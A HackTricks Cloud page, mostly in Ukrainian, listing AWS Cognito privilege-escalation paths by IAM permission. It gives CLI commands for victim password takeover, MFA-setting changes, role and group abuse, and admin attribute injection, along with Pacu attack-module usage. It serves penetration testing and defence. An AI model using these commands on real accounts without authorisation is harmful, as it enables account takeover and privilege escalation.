AWS - Cognito Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
Cognito
Для детальнішої інформації про Cognito дивіться:
Отримання облікових даних з Identity Pool
Оскільки Cognito може видавати IAM role credentials як authenticated, так і unauthenticated users, якщо ви знайдете Identity Pool ID додатку (він зазвичай hardcoded у ньому), ви зможете отримати нові облікові дані і, відповідно, privesc (в межах AWS account, де, ймовірно, раніше у вас навіть не було жодних облікових даних).
Для додаткової інформації check this page.
Potential Impact: Прямий privesc до ролі сервісу, прикріпленої до unauth users (і, ймовірно, також до тієї, що прикріплена до auth users).
cognito-identity:SetIdentityPoolRoles, iam:PassRole
Маючи цей дозвіл, ви можете grant any cognito role для authenticated/unauthenticated users додатку Cognito.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Якщо додаток Cognito не має ввімкнених незареєстрованих користувачів, вам може також знадобитися дозвіл cognito-identity:UpdateIdentityPool для його увімкнення.
Potential Impact: Прямий privesc до будь-якої ролі Cognito.
cognito-identity:update-identity-pool
Зловмисник з цим дозволом може, наприклад, встановити під свій контроль Cognito User Pool або будь-який інший identity provider, де він може login, як спосіб доступу до цього Cognito Identity Pool. Тоді просто login на тому провайдері користувача дозволить йому отримати доступ до налаштованої authenticated role у Identity Pool.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
Також можливо зловживати цим дозволом, щоб дозволити basic auth:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Можливий вплив: Компрометація налаштованої автентифікованої IAM role в identity pool.
cognito-idp:AdminAddUserToGroup
Цей дозвіл дозволяє додати Cognito user до Cognito group, тому зловмисник може зловживати цим дозволом, щоб додати підконтрольного йому користувача до інших груп з вищими привілеями або іншими IAM roles:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Потенційний вплив: Privesc to other Cognito groups and IAM roles attached to User Pool Groups.
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
Зловмисник із цими дозволами може створювати/оновлювати групи з будь-якою IAM роллю, яку може використовувати скомпрометований Cognito Identity Provider, і додати скомпрометованого користувача до групи, отримавши доступ до всіх цих ролей:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
Потенційний вплив: Privesc до інших Cognito IAM roles.
cognito-idp:AdminConfirmSignUp
Цей дозвіл дозволяє підтвердити реєстрацію. За замовчуванням будь-хто може зареєструватися в Cognito-додатках; якщо це дозволено, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Potential Impact: Непрямий privesc до IAM-ролі identity pool для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непрямий privesc до інших функціональностей додатку через можливість підтверджувати будь-який акаунт.
cognito-idp:AdminCreateUser
Цей дозвіл дозволяє атакуючому створити нового користувача всередині user pool. Новий користувач створюється як enabled, але йому доведеться змінити свій пароль.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Потенційний вплив: Прямий privesc до identity pool IAM role для автентифікованих користувачів. Побічний privesc до інших функціональностей додатка, що дозволяють створювати будь-якого користувача
cognito-idp:AdminEnableUser
Ці дозволи можуть допомогти у дуже рідкісному випадку, коли атакувальник знайшов облікові дані вимкненого користувача і йому потрібно знову активувати.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Potential Impact: Непряме privesc до identity pool IAM role для authenticated users та привілеїв користувача, якщо атакуючий мав облікові дані для вимкненого користувача.
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
Цей дозвіл дозволяє увійти за допомогою method ADMIN_USER_PASSWORD_AUTH. Для додаткової інформації перейдіть за посиланням.
cognito-idp:AdminSetUserPassword
Цей дозвіл дозволяє атакуючому set a known password for any user, що зазвичай призводить до direct account takeover (особливо якщо жертва не має увімкненого MFA або MFA не застосовується для відповідного auth flow/client).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Типовий робочий процес:
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
Пов’язаний дозвіл: cognito-idp:AdminResetUserPassword може бути використаний, щоб примусити ініціювати процедуру скидання пароля для жертви (вплив залежить від того, як реалізовано відновлення пароля та що атакувальник може перехопити або контролювати).
Потенційний вплив: Account takeover довільних користувачів; доступ до app-layer привілеїв (groups/roles/claims) та до будь-чого downstream, що довіряє Cognito tokens; можливий доступ до Identity Pool authenticated IAM roles.
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings: Атакуючий може потенційно зловживати цим дозволом, щоб встановити мобільний телефон під своїм контролем як SMS MFA користувача.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: Подібно до попереднього, цей дозвіл дозволяє встановлювати налаштування MFA користувача, щоб обійти захист MFA.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: Схожий на попередній — цей дозвіл можна використати для встановлення налаштувань MFA у user pool, щоб обійти захист MFA.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: Також можливо оновити User Pool, щоб змінити політику MFA. Check cli here.
Potential Impact: Непрямий privesc до потенційно будь-якого користувача, облікові дані якого знає атакуючий; це може дозволити обійти захист MFA.
cognito-idp:AdminUpdateUserAttributes
Атакуючий з цим дозволом може змінювати будь-який змінний атрибут користувача User Pool (включно з атрибутами custom:*) з метою отримання привілеїв в підлеглому застосунку.
Звичайний високовпливовий патерн — claim-based RBAC реалізований за допомогою custom attributes (наприклад custom:role=admin). Якщо застосунок довіряє цьому claim, його оновлення та повторна автентифікація можуть обійти авторизацію без змін у додатку.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Приклад: підвищити власну роль та оновити refresh-токени:
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
Potential Impact: Опосередкований privesc у застосунках, які довіряють атрибутам/claims Cognito для авторизації; можливість змінювати інші атрибути, що мають значення для безпеки (наприклад, встановлення email_verified або phone_number_verified в true може мати значення в деяких додатках).
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
An attacker with this permission could create a new User Pool Client less restricted than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don’t have any secret, have token revocation disabled, allow tokens to be valid for a longer period…
The same can be be don if instead of creating a new client, an existing one is modified.
In the command line (or the update one) you can see all the options, check it!.
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Potential Impact: Потенційний непрямий privesc для авторизованого користувача Identity Pool, який використовується User Pool, через створення нового клієнта, що послаблює заходи безпеки і дозволяє attacker увійти під обліковим записом користувача, якого він створив.
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
Attacker може зловживати цим дозволом, щоб створювати користувачів, завантажуючи csv із новими обліковими записами.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(У випадку, якщо ви створюєте нову import job, вам можливо також знадобиться iam passrole permission, я цього ще не перевіряв.)
Потенційний вплив: Прямий privesc до identity pool IAM role для автентифікованих користувачів. Опосередкований privesc до інших функцій додатку, що дозволяє створювати будь-якого користувача.
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
Зловмисник може створити нового identity provider, щоб потім мати змогу login through this provider.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Potential Impact: Пряме privesc до identity pool IAM role для автентифікованих користувачів. Непряме privesc до інших функцій додатку з можливістю створювати будь-якого користувача.
cognito-sync:* Аналіз
Це дуже поширений дозвіл за замовчуванням у ролях Cognito Identity Pools. Навіть якщо wildcard у permissions завжди виглядає погано (особливо коли йде від AWS), дані дозволи не надто корисні з точки зору атакуючого.
Цей дозвіл дозволяє читати інформацію про використання Identity Pools та Identity IDs всередині Identity Pools (що не є чутливою інформацією).
Identity IDs можуть мати призначені Datasets, які містять інформацію про сесії (AWS описує це як saved game). Можливо, вони містять якийсь чутливий вміст (але ймовірність цього доволі низька). Деталі про доступ до цієї інформації можна знайти на enumeration page.
Зловмисник також може використати ці дозволи, щоб enroll himself to a Cognito stream that publish changes на цих datases або до lambda that triggers on cognito events. Я не бачив, щоб це використовували, і не очікую тут чутливої інформації, але це не неможливо.
Automatic Tools
- Pacu, the AWS exploitation framework, тепер включає модулі “cognito__enum” та “cognito__attack”, які автоматизують enumeration всіх Cognito assets в акаунті і позначають слабкі конфігурації, user attributes, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включно з підтримкою MFA) та privilege escalation на основі modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens тощо.
For a description of the modules’ functions see part 2 of the blog post. For installation instructions see the main Pacu page.
Usage
Приклад використання cognito__attack для спроби створення користувача та всіх privesc векторів проти заданого identity pool та user pool client:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Приклад використання cognito__enum для збору всіх user pools, user pool clients, identity pools, users тощо, видимих у поточному AWS обліковому записі:
Pacu (new:test) > run cognito__enum
- Cognito Scanner є CLI-інструментом на python, який реалізує різні атаки на Cognito, включаючи privesc escalation.
Встановлення
$ pip install cognito-scanner
Використання
$ cognito-scanner --help
Для отримання додаткової інформації див. https://github.com/padok-team/cognito-scanner
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

